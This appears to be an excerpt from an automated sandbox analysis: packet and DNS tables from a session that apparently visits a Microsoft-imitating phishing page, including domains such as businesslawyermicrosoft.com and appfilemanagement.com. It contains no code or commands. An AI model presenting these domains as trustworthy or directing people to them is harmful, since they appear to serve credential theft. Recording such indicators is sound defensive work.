Jan 14, 2025 20:04:50.446892977 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.446942091 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.446953058 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.446981907 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.448497057 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.448554993 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.448565960 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.492794037 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.516405106 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.516496897 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.516515017 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.540594101 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.540637970 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.540672064 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.540683985 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.540728092 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.543648958 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.543736935 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.543746948 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.548120975 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.548192978 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.548202991 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.556687117 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.556725025 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.556828022 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.556838989 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.561270952 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.561345100 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.561355114 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.564429998 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.564512014 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.564524889 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.572961092 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.572985888 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.573055983 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.573065996 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.577353954 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.577415943 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.577425003 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.581563950 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.581629038 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.581639051 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.594094038 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.594132900 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.594156027 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.594165087 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.594199896 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.597405910 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.597469091 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.597477913 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.605470896 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.605784893 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.605794907 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.624670982 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.624715090 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.624738932 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.624758005 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.624789953 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.628448009 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.628514051 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.628524065 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.628611088 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.628663063 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.628789902 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.628807068 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:52.462589979 CET	50089	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:52.462635994 CET	443	50089	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:52.462707043 CET	50089	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:52.462943077 CET	50089	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:52.462958097 CET	443	50089	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:53.371570110 CET	443	50089	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:53.371771097 CET	50089	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:53.371788979 CET	443	50089	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:53.373437881 CET	443	50089	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:53.373492002 CET	50089	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:53.374567032 CET	50089	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:53.374655962 CET	443	50089	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:53.374763012 CET	50089	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:53.374773026 CET	443	50089	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:53.427028894 CET	50089	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:53.617800951 CET	443	50089	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:53.617866039 CET	443	50089	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:53.617907047 CET	50089	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:53.617924929 CET	443	50089	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:53.617957115 CET	443	50089	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:53.618016005 CET	50089	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:53.621004105 CET	50089	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:53.621021032 CET	443	50089	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:53.634499073 CET	50094	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:53.634598017 CET	443	50094	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:53.634681940 CET	50094	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:53.635202885 CET	50094	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:53.635248899 CET	443	50094	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:54.442735910 CET	443	50094	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:54.443100929 CET	50094	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:54.443135023 CET	443	50094	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:54.446839094 CET	443	50094	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:54.446981907 CET	50094	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:54.447252035 CET	50094	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:54.447385073 CET	50094	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:54.447833061 CET	443	50094	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:54.491785049 CET	50094	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:54.491815090 CET	443	50094	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:54.538638115 CET	50094	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:54.764103889 CET	443	50094	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:54.764240026 CET	443	50094	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:54.764400959 CET	443	50094	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:54.764578104 CET	50094	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:54.764579058 CET	50094	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:54.765542030 CET	50094	443	192.168.2.4	152.199.21.175
Jan 14, 2025 20:04:54.765577078 CET	443	50094	152.199.21.175	192.168.2.4
Jan 14, 2025 20:04:58.315052986 CET	443	50073	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:58.315221071 CET	443	50073	104.21.64.1	192.168.2.4
Jan 14, 2025 20:04:58.315293074 CET	50073	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:59.373848915 CET	50073	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:04:59.373873949 CET	443	50073	104.21.64.1	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 20:02:01.720094919 CET	52382	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:02:08.619715929 CET	138	138	192.168.2.4	192.168.2.255
Jan 14, 2025 20:02:15.230077028 CET	55615	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:02:15.230249882 CET	59430	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:02:15.236907959 CET	53	57409	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:15.244247913 CET	53	55615	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:15.246283054 CET	53	59430	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:15.261642933 CET	53	51123	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:16.261687040 CET	53	61926	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:16.538768053 CET	55451	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:02:16.538912058 CET	56981	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:02:16.577795029 CET	53	56981	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:16.581387997 CET	53	55451	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:17.900507927 CET	60746	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:02:17.900796890 CET	56338	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:02:17.907748938 CET	53	60746	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:17.907929897 CET	53	56338	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:19.473417997 CET	65461	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:02:19.473741055 CET	51181	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:02:19.480652094 CET	53	65461	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:19.480767012 CET	53	51181	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:19.511949062 CET	49750	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:02:19.512048006 CET	57677	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:02:19.518970966 CET	53	49750	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:19.519354105 CET	53	57677	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:19.605837107 CET	56562	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:02:19.606220007 CET	53321	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:02:19.613044977 CET	53	56562	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:19.613811970 CET	53	53321	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:22.281104088 CET	65028	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:02:22.281527042 CET	55554	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:02:22.287902117 CET	53	65028	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:22.288381100 CET	53	55554	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:27.436980009 CET	53	52815	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:33.375266075 CET	53	58982	1.1.1.1	192.168.2.4
Jan 14, 2025 20:02:52.158230066 CET	53	55825	1.1.1.1	192.168.2.4
Jan 14, 2025 20:03:14.831832886 CET	53	57524	1.1.1.1	192.168.2.4
Jan 14, 2025 20:03:15.109919071 CET	53	51938	1.1.1.1	192.168.2.4
Jan 14, 2025 20:03:45.440491915 CET	53	58812	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:25.328185081 CET	62485	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:25.328605890 CET	53847	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:25.335527897 CET	53	53847	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:25.335629940 CET	53	62485	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:32.111397982 CET	53	62853	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:45.188374043 CET	55656	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:45.188512087 CET	55125	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:45.188868999 CET	57862	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:45.189008951 CET	51162	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:45.189332962 CET	61142	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:45.189457893 CET	58782	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:45.190210104 CET	62537	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:45.190330029 CET	65470	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:45.190634012 CET	53480	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:45.190756083 CET	53604	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:45.195424080 CET	53	55656	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:45.196577072 CET	53	55125	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:45.196830034 CET	53	57862	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:45.196840048 CET	53	51162	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:45.197082996 CET	53	61142	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:45.197644949 CET	53	58782	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:45.197719097 CET	53	65153	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:45.198429108 CET	53	65470	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:45.200911999 CET	53	62537	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:45.365206957 CET	53	53604	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:45.437120914 CET	53	53480	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:45.931425095 CET	51514	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:45.931855917 CET	57283	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:45.938883066 CET	53	57283	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:45.942698002 CET	53	51514	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:45.995367050 CET	49192	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:45.995640039 CET	61172	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:46.002918959 CET	53	61172	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:46.003163099 CET	53	49192	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:46.051713943 CET	65466	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:46.051887035 CET	58241	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:46.058787107 CET	53	58241	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:46.058974981 CET	53	65466	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:46.073524952 CET	54858	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:46.075206041 CET	57064	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:46.081825972 CET	53	54858	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:46.083880901 CET	53	57064	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:46.392304897 CET	53	54891	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:48.078857899 CET	53935	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:48.078982115 CET	52300	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:48.083914042 CET	61257	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:48.084062099 CET	49961	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:48.179960012 CET	53	49961	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:48.291709900 CET	53	53935	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:48.291865110 CET	53	52300	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:48.411664963 CET	53	61257	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:49.455889940 CET	53047	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:49.456031084 CET	52087	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:49.666826963 CET	53	53047	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:49.669012070 CET	53	52087	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:52.454550982 CET	49578	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:52.454683065 CET	65206	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:52.562185049 CET	53	56601	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:53.141103983 CET	53	50504	1.1.1.1	192.168.2.4
Jan 14, 2025 20:04:53.626074076 CET	50605	53	192.168.2.4	1.1.1.1
Jan 14, 2025 20:04:53.626214027 CET	52601	53	192.168.2.4	1.1.1.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 14, 2025 20:02:16.582211971 CET	192.168.2.4	1.1.1.1	c264	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 20:02:01.720094919 CET	192.168.2.4	1.1.1.1	0xaa80	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:15.230077028 CET	192.168.2.4	1.1.1.1	0x19ff	Standard query (0)	nbgybnlh.appfilemanagement.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:15.230249882 CET	192.168.2.4	1.1.1.1	0x6961	Standard query (0)	nbgybnlh.appfilemanagement.com	65	IN (0x0001)	false
Jan 14, 2025 20:02:16.538768053 CET	192.168.2.4	1.1.1.1	0x6294	Standard query (0)	nbgybnlh.appfilemanagement.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:16.538912058 CET	192.168.2.4	1.1.1.1	0xd00e	Standard query (0)	nbgybnlh.appfilemanagement.com	65	IN (0x0001)	false
Jan 14, 2025 20:02:17.900507927 CET	192.168.2.4	1.1.1.1	0x4f3b	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:17.900796890 CET	192.168.2.4	1.1.1.1	0xffa5	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 20:02:19.473417997 CET	192.168.2.4	1.1.1.1	0x2bdc	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:19.473741055 CET	192.168.2.4	1.1.1.1	0xa44c	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 20:02:19.511949062 CET	192.168.2.4	1.1.1.1	0xe0f9	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:19.512048006 CET	192.168.2.4	1.1.1.1	0xa0cc	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 20:02:19.605837107 CET	192.168.2.4	1.1.1.1	0x2e7f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:19.606220007 CET	192.168.2.4	1.1.1.1	0xa2f6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 14, 2025 20:02:22.281104088 CET	192.168.2.4	1.1.1.1	0x5214	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:22.281527042 CET	192.168.2.4	1.1.1.1	0x86a2	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 20:04:25.328185081 CET	192.168.2.4	1.1.1.1	0xc99b	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:25.328605890 CET	192.168.2.4	1.1.1.1	0x3b16	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 20:04:45.188374043 CET	192.168.2.4	1.1.1.1	0xd8cf	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.188512087 CET	192.168.2.4	1.1.1.1	0xa70b	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 14, 2025 20:04:45.188868999 CET	192.168.2.4	1.1.1.1	0x5ffe	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.189008951 CET	192.168.2.4	1.1.1.1	0x7874	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 20:04:45.189332962 CET	192.168.2.4	1.1.1.1	0xde92	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.189457893 CET	192.168.2.4	1.1.1.1	0x497c	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Jan 14, 2025 20:04:45.190210104 CET	192.168.2.4	1.1.1.1	0x8ba0	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.190330029 CET	192.168.2.4	1.1.1.1	0xa1a0	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Jan 14, 2025 20:04:45.190634012 CET	192.168.2.4	1.1.1.1	0x1e93	Standard query (0)	5735915102-1323985617.cos.ap-singapore.myqcloud.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.190756083 CET	192.168.2.4	1.1.1.1	0x5438	Standard query (0)	5735915102-1323985617.cos.ap-singapore.myqcloud.com	65	IN (0x0001)	false
Jan 14, 2025 20:04:45.931425095 CET	192.168.2.4	1.1.1.1	0x9e6c	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.931855917 CET	192.168.2.4	1.1.1.1	0xd65a	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 14, 2025 20:04:45.995367050 CET	192.168.2.4	1.1.1.1	0x27d2	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:45.995640039 CET	192.168.2.4	1.1.1.1	0x9a1c	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Jan 14, 2025 20:04:46.051713943 CET	192.168.2.4	1.1.1.1	0x8ce5	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:46.051887035 CET	192.168.2.4	1.1.1.1	0x2bed	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 14, 2025 20:04:46.073524952 CET	192.168.2.4	1.1.1.1	0x194a	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:46.075206041 CET	192.168.2.4	1.1.1.1	0x3b54	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Jan 14, 2025 20:04:48.078857899 CET	192.168.2.4	1.1.1.1	0x35fc	Standard query (0)	5735915102.businesslawyermicrosoft.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:48.078982115 CET	192.168.2.4	1.1.1.1	0xdef9	Standard query (0)	5735915102.businesslawyermicrosoft.com	65	IN (0x0001)	false
Jan 14, 2025 20:04:48.083914042 CET	192.168.2.4	1.1.1.1	0x4c96	Standard query (0)	5735915102-1323985617.cos.ap-singapore.myqcloud.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:48.084062099 CET	192.168.2.4	1.1.1.1	0x76dd	Standard query (0)	5735915102-1323985617.cos.ap-singapore.myqcloud.com	65	IN (0x0001)	false
Jan 14, 2025 20:04:49.455889940 CET	192.168.2.4	1.1.1.1	0x3fd6	Standard query (0)	5735915102.businesslawyermicrosoft.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:49.456031084 CET	192.168.2.4	1.1.1.1	0x80b0	Standard query (0)	5735915102.businesslawyermicrosoft.com	65	IN (0x0001)	false
Jan 14, 2025 20:04:52.454550982 CET	192.168.2.4	1.1.1.1	0xfa5d	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:52.454683065 CET	192.168.2.4	1.1.1.1	0x2cb9	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 14, 2025 20:04:53.626074076 CET	192.168.2.4	1.1.1.1	0xe94f	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:04:53.626214027 CET	192.168.2.4	1.1.1.1	0xc2f4	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 20:02:01.727437973 CET	1.1.1.1	192.168.2.4	0xaa80	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 14, 2025 20:02:02.422079086 CET	1.1.1.1	192.168.2.4	0xdad9	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:02.422079086 CET	1.1.1.1	192.168.2.4	0xdad9	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:15.244247913 CET	1.1.1.1	192.168.2.4	0x19ff	No error (0)	nbgybnlh.appfilemanagement.com		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:15.244247913 CET	1.1.1.1	192.168.2.4	0x19ff	No error (0)	nbgybnlh.appfilemanagement.com		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:15.244247913 CET	1.1.1.1	192.168.2.4	0x19ff	No error (0)	nbgybnlh.appfilemanagement.com		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:15.244247913 CET	1.1.1.1	192.168.2.4	0x19ff	No error (0)	nbgybnlh.appfilemanagement.com		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:15.244247913 CET	1.1.1.1	192.168.2.4	0x19ff	No error (0)	nbgybnlh.appfilemanagement.com		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:15.244247913 CET	1.1.1.1	192.168.2.4	0x19ff	No error (0)	nbgybnlh.appfilemanagement.com		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:15.244247913 CET	1.1.1.1	192.168.2.4	0x19ff	No error (0)	nbgybnlh.appfilemanagement.com		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:15.246283054 CET	1.1.1.1	192.168.2.4	0x6961	No error (0)	nbgybnlh.appfilemanagement.com			65	IN (0x0001)	false
Jan 14, 2025 20:02:16.577795029 CET	1.1.1.1	192.168.2.4	0xd00e	No error (0)	nbgybnlh.appfilemanagement.com			65	IN (0x0001)	false
Jan 14, 2025 20:02:16.581387997 CET	1.1.1.1	192.168.2.4	0x6294	No error (0)	nbgybnlh.appfilemanagement.com		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:16.581387997 CET	1.1.1.1	192.168.2.4	0x6294	No error (0)	nbgybnlh.appfilemanagement.com		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 14, 2025 20:02:16.581387997 CET	1.1.1.1	192.168.2.4	0x6294	No error (0)	nbgybnlh.appfilemanagement.com		104.21.112.1	A (IP address)	IN (0x0001)	false
